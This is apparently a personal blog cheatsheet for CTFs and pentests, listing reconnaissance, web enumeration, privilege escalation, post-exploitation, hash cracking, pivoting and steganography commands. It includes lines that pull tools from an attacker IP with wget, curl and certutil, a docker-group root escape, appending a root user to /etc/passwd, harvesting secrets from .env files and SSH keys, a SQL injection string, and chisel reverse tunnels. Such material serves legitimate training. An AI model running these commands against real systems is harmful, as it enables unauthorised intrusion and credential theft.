Skip to main content

Cheatsheet fot CTFs (and pentests)

·1497 words·8 mins

CTF Cheatsheet
#

1. Initial Recon — Nmap
#

nmap -p- --min-rate=5000 -T4 -Pn --open -oN nmap-allports.txt <IP>
nmap -p <ports> -sC -sV -oN nmap-detailed.txt <IP>
nmap -sU --top-ports 100 -oN nmap-udp.txt <IP>
nmap -p <ports> --script vuln -oN nmap-vuln.txt <IP>
nmap -sn <IP>/24

2. Web Service
#

2.1 Fingerprint
#

whatweb <URL>
curl -I <URL>

Wappalyzer (browser extension).

2.2 Manual
#

  • Ctrl+U, HTML comments, JS files
  • robots.txt, sitemap.xml, /.well-known/
  • Cookies, headers, forms, uploads, URL parameters

2.3 Exposed .git
#

curl -s <URL>/.git/HEAD
git-dumper <URL>/.git/ ./dump    # or githacker

2.4 Exposed .env (directly over the web, before getting a shell)
#

curl -s <URL>/.env
curl -s <URL>/.env.bak
curl -s <URL>/.env.local
curl -s <URL>/config/.env

2.5 Nikto
#

nikto -h <URL>

2.6 Directories / files
#

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster.txt
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt

2.7 Virtual Host fuzzing
#

ffuf -u http://<IP> -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_response_size>

2.8 Subdomains
#

gobuster dns -d <domain.com> -w /usr/share/wordlists/subdomains-top1million-5000.txt
ffuf -u http://FUZZ.<domain.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
subfinder -d <domain.com>
amass enum -passive -d <domain.com>

New subdomain found → add it to /etc/hosts.

2.9 Other checks
#

  • CMS: wpscan --url <URL> --enumerate u,vp,vt
  • Login panels: default creds / basic SQLi (' OR 1=1 -- -)
  • Upload: extension bypass for RCE
  • LFI/RFI: ?page=, ?file=
  • API/Swagger: /api, /swagger.json, /graphql
  • SSTI, XXE
  • JWT: jwt_tool

3. Known Exploits
#

searchsploit <service> <version>
searchsploit -m <exploit_path>

msfconsole -q
search <service/version>
use <module>
set RHOSTS <IP>
run
# SMB
smbclient -L //<IP>/ -N
enum4linux -a <IP>
crackmapexec smb <IP>

Check for CVEs in: FTP (vsftpd, ProFTPd), SMB (EternalBlue, SambaCry), old SSH, SNMP, unauthenticated Redis, RDP (BlueKeep).


4. Initial Shell
#

4.1 Stabilize the TTY
#

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z in the reverse shell
stty raw -echo; fg
# Enter, then:
reset

Alternatives:

script /dev/null -c bash
perl -e 'exec "/bin/sh";'
/bin/sh -i

4.2 Poke around
#

find / -writable -type d 2>/dev/null
find / -name "*.txt" -o -name "*.conf" 2>/dev/null | grep -v "Permission denied"
cat /etc/passwd
history
ls -la /home/* /var/www /opt /tmp 2>/dev/null

4.3 File transfer
#

# attacker
python3 -m http.server 8000

# Linux target
wget http://<attacker_IP>:8000/linpeas.sh -O /tmp/linpeas.sh
curl http://<attacker_IP>:8000/linpeas.sh -o /tmp/linpeas.sh

# Windows target
certutil -urlcache -f http://<attacker_IP>:8000/winpeas.exe winpeas.exe

5. Privilege Escalation — Linux
#

5.1 Base enumeration
#

sudo -l
find / -perm -4000 -type f 2>/dev/null      # SUID
find / -perm -2000 -type f 2>/dev/null      # SGID
getcap -r / 2>/dev/null                     # capabilities
ps aux
crontab -l; cat /etc/crontab
uname -a; cat /etc/os-release
id; groups
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/fstab
find / -writable -not -path "/proc/*" 2>/dev/null

GTFOBins (https://gtfobins.github.io) — check SUID/sudo binaries for known bypasses.

5.2 Systemd timers (modern replacement for cron)
#

systemctl list-timers --all
systemctl cat <timer>.timer
systemctl cat <service>.service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null

5.3 pspy — monitors root processes in real time (no privilege required)
#

./pspy64

5.4 Kernel exploits
#

./linux-exploit-suggester.sh

5.5 Wildcard injection (root cron/script using *)
#

# e.g. root script runs "tar czf backup.tar.gz *" in a writable dir
# plant files named after tar's flags to achieve RCE

5.6 Dangerous groups
#

id   # watch for: docker, lxd, disk, adm, shadow

# docker group -> root via bind mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

5.7 NFS no_root_squash
#

# on the target
cat /etc/exports 2>/dev/null
# on the attacker
showmount -e <IP>

5.8 Forgotten SSH keys
#

find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null

5.9 Writable /etc/passwd
#

openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

5.10 PATH hijacking
#

echo $PATH
# malicious binary with the same name in a writable dir that comes earlier in PATH

5.11 Automated scripts
#

linpeas.sh
linenum.sh

6. Privilege Escalation — Windows
#

whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators
tasklist /svc
schtasks /query /fo LIST /v
icacls "C:\path"
reg query HKLM\SYSTEM\CurrentControlSet\Services\<service>

Check for: writable services, AlwaysInstallElevated, unquoted service paths, tokens/impersonation (JuicyPotato/PrintSpoofer), passwords in config files.

winPEAS.exe
PowerUp.ps1  # Invoke-AllChecks

If Active Directory is present in the CTF:

SharpHound.exe -c All
Rubeus.exe kerberoast

7. Post-Exploitation
#

7.1 Passwords / secrets in files
#

grep -ri "password" /etc /var /opt -R 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null

7.2 .env / app configs (dedicated search)#

find / -name ".env" -o -name "*.env*" 2>/dev/null
find / -name "config.php" -o -name "settings.py" -o -name "wp-config.php" 2>/dev/null

# If you find an app in /var/www, /opt, /srv — check it directly
cat /var/www/html/.env 2>/dev/null

# .env commonly leaks: DB_PASSWORD, API_KEY, AWS_SECRET_ACCESS_KEY, JWT_SECRET
grep -E "PASSWORD|SECRET|KEY|TOKEN" /var/www/html/.env 2>/dev/null
# -> test for credential reuse: local mysql/postgres, web panel, SSH for the same user

7.3 Persistence (if needed for the CTF)
#

cat ~/.ssh/authorized_keys

7.4 Flag
#

cat /root/root.txt   # or proof.txt, flag.txt, etc.

7.5 Cracking hashes
#

Identify the hash type first:

hash-identifier
hashid hash.txt                      # more up-to-date alternative, accepts a file

John the Ripper:

john --wordlist=rockyou.txt hash.txt
john --format=<format> --wordlist=rockyou.txt hash.txt   # force format (e.g. sha512crypt, nt, raw-md5)
john --rules --wordlist=rockyou.txt hash.txt              # apply rules (leetspeak, casing, suffixes)
john --show hash.txt                                       # list already-cracked passwords

# generate the hash file from common formats before running john
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
zip2john archive.zip > zip.hash && john zip.hash
rar2john archive.rar > rar.hash && john rar.hash
ssh2john id_rsa > ssh.hash && john ssh.hash
office2john document.docx > office.hash && john office.hash

Hashcat (faster, GPU-based):

hashcat -m <mode> hash.txt rockyou.txt              # -a 0 (wordlist) is the default
hashcat --example-hashes | grep -i -A2 "<algorithm>" # find the -m number
hashcat -a 3 -m <mode> hash.txt '?a?a?a?a?a?a'      # -a 3 = mask-based bruteforce
hashcat -a 0 -m <mode> hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <mode> hash.txt --show                   # show already-cracked hashes
hashcat -m <mode> hash.txt --show -o cracked.txt     # save the result to a file

# most common modes (-m) in CTFs
# 0     MD5
# 100   SHA1
# 1400  SHA256
# 1800  sha512crypt ($6$, /etc/shadow)
# 3200  bcrypt ($2y$/$2a$)
# 1000  NTLM
# 5600  NetNTLMv2
# 13100 Kerberoast (krb5tgs)

7.6 Pivoting
#

SSH tunneling (when you already have creds/an SSH key for the pivot — priority, no binary needed)

# -L: Local port forward — reach a specific internal service as if it were local
# E.g. the pivot can see MySQL at 10.10.10.5:3306 which you can't reach directly
ssh -L 3306:10.10.10.5:3306 user@<pivot_IP>
# on your Kali box:
mysql -h 127.0.0.1 -P 3306 -u root -p

# -D: Dynamic port forward (SOCKS proxy) — to sweep the whole internal network
ssh -D 1080 user@<pivot_IP>
# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.10.10.5

# -R: Remote port forward — expose your own service for the pivot to connect back to
ssh -R 4444:127.0.0.1:4444 user@<pivot_IP>

# Combo with a stolen key, no interactive TTY
ssh -i id_rsa -L 8080:localhost:80 -N user@<pivot_IP>   # -N = forward only, no shell

Use -L when you already know the target internal service/port. Use -D when you want to sweep the whole network (nmap/gobuster against internal hosts).

Chisel / sshuttle (when you have NO SSH, just a reverse shell)

# attacker
chisel server -p 8000 --reverse
# target
chisel client <attacker_IP>:8000 R:socks
proxychains nmap -sT -Pn <internal_IP>

# alternative
sshuttle -r user@<IP> 10.10.10.0/24

8. Forensics / Steganography (suspicious files)
#

Run this on any file that looks out of place: an image downloaded from the site, an attachment, a file found in the shell (/var/www, /home, /tmp, an upload directory, etc.).

8.1 Binwalk — identifies and extracts embedded files/filesystems
#

binwalk file.jpg               # scans for embedded signatures (zip, filesystem, executable...)
binwalk -e file.jpg            # extracts whatever it finds (folder _file.jpg.extracted/)
binwalk -Me file.jpg           # recursive extraction (Matryoshka: extracts from inside what was already extracted)
binwalk --dd='.*' file.jpg     # forces extraction of any matching signature

8.2 Steghide — embeds/extracts hidden data (LSB) in JPEG/BMP/WAV/AU
#

steghide info file.jpg                        # shows whether data is embedded, and the format
steghide extract -sf file.jpg                 # extracts (prompts for a password; Enter = empty password)
steghide extract -sf file.jpg -p "password"   # extracts with a known password
steghide embed -cf file.jpg -ef secret.txt    # embed (useful for testing/recreating a challenge)

# steghide has no built-in password bruteforce -> use:
stegseek file.jpg rockyou.txt     # modern fork of stegcracker, much faster
stegcracker file.jpg rockyou.txt  # older/slower alternative

8.3 Complementary tools
#

exiftool file.jpg           # EXIF metadata (comments, GPS, author, software used)
strings file.jpg | less     # readable text embedded in the binary
file file.jpg                # confirms the real file type vs. the extension
zsteg file.png                # steghide-equivalent, focused on PNG/BMP
foremost -i file -o output/  # recovers files by signature (similar to binwalk -e)

9. General Notes
#

  • Log IP, ports, versions, and credentials in a notes.md as you go.
  • Test for credential reuse across services (SSH, FTP, web panel, .env).
  • When switching shells (netcat → SSH), kill the old processes.
  • Use tmux/screen so you don’t lose your reverse shell session.
Enrico Moreno
Author
Enrico Moreno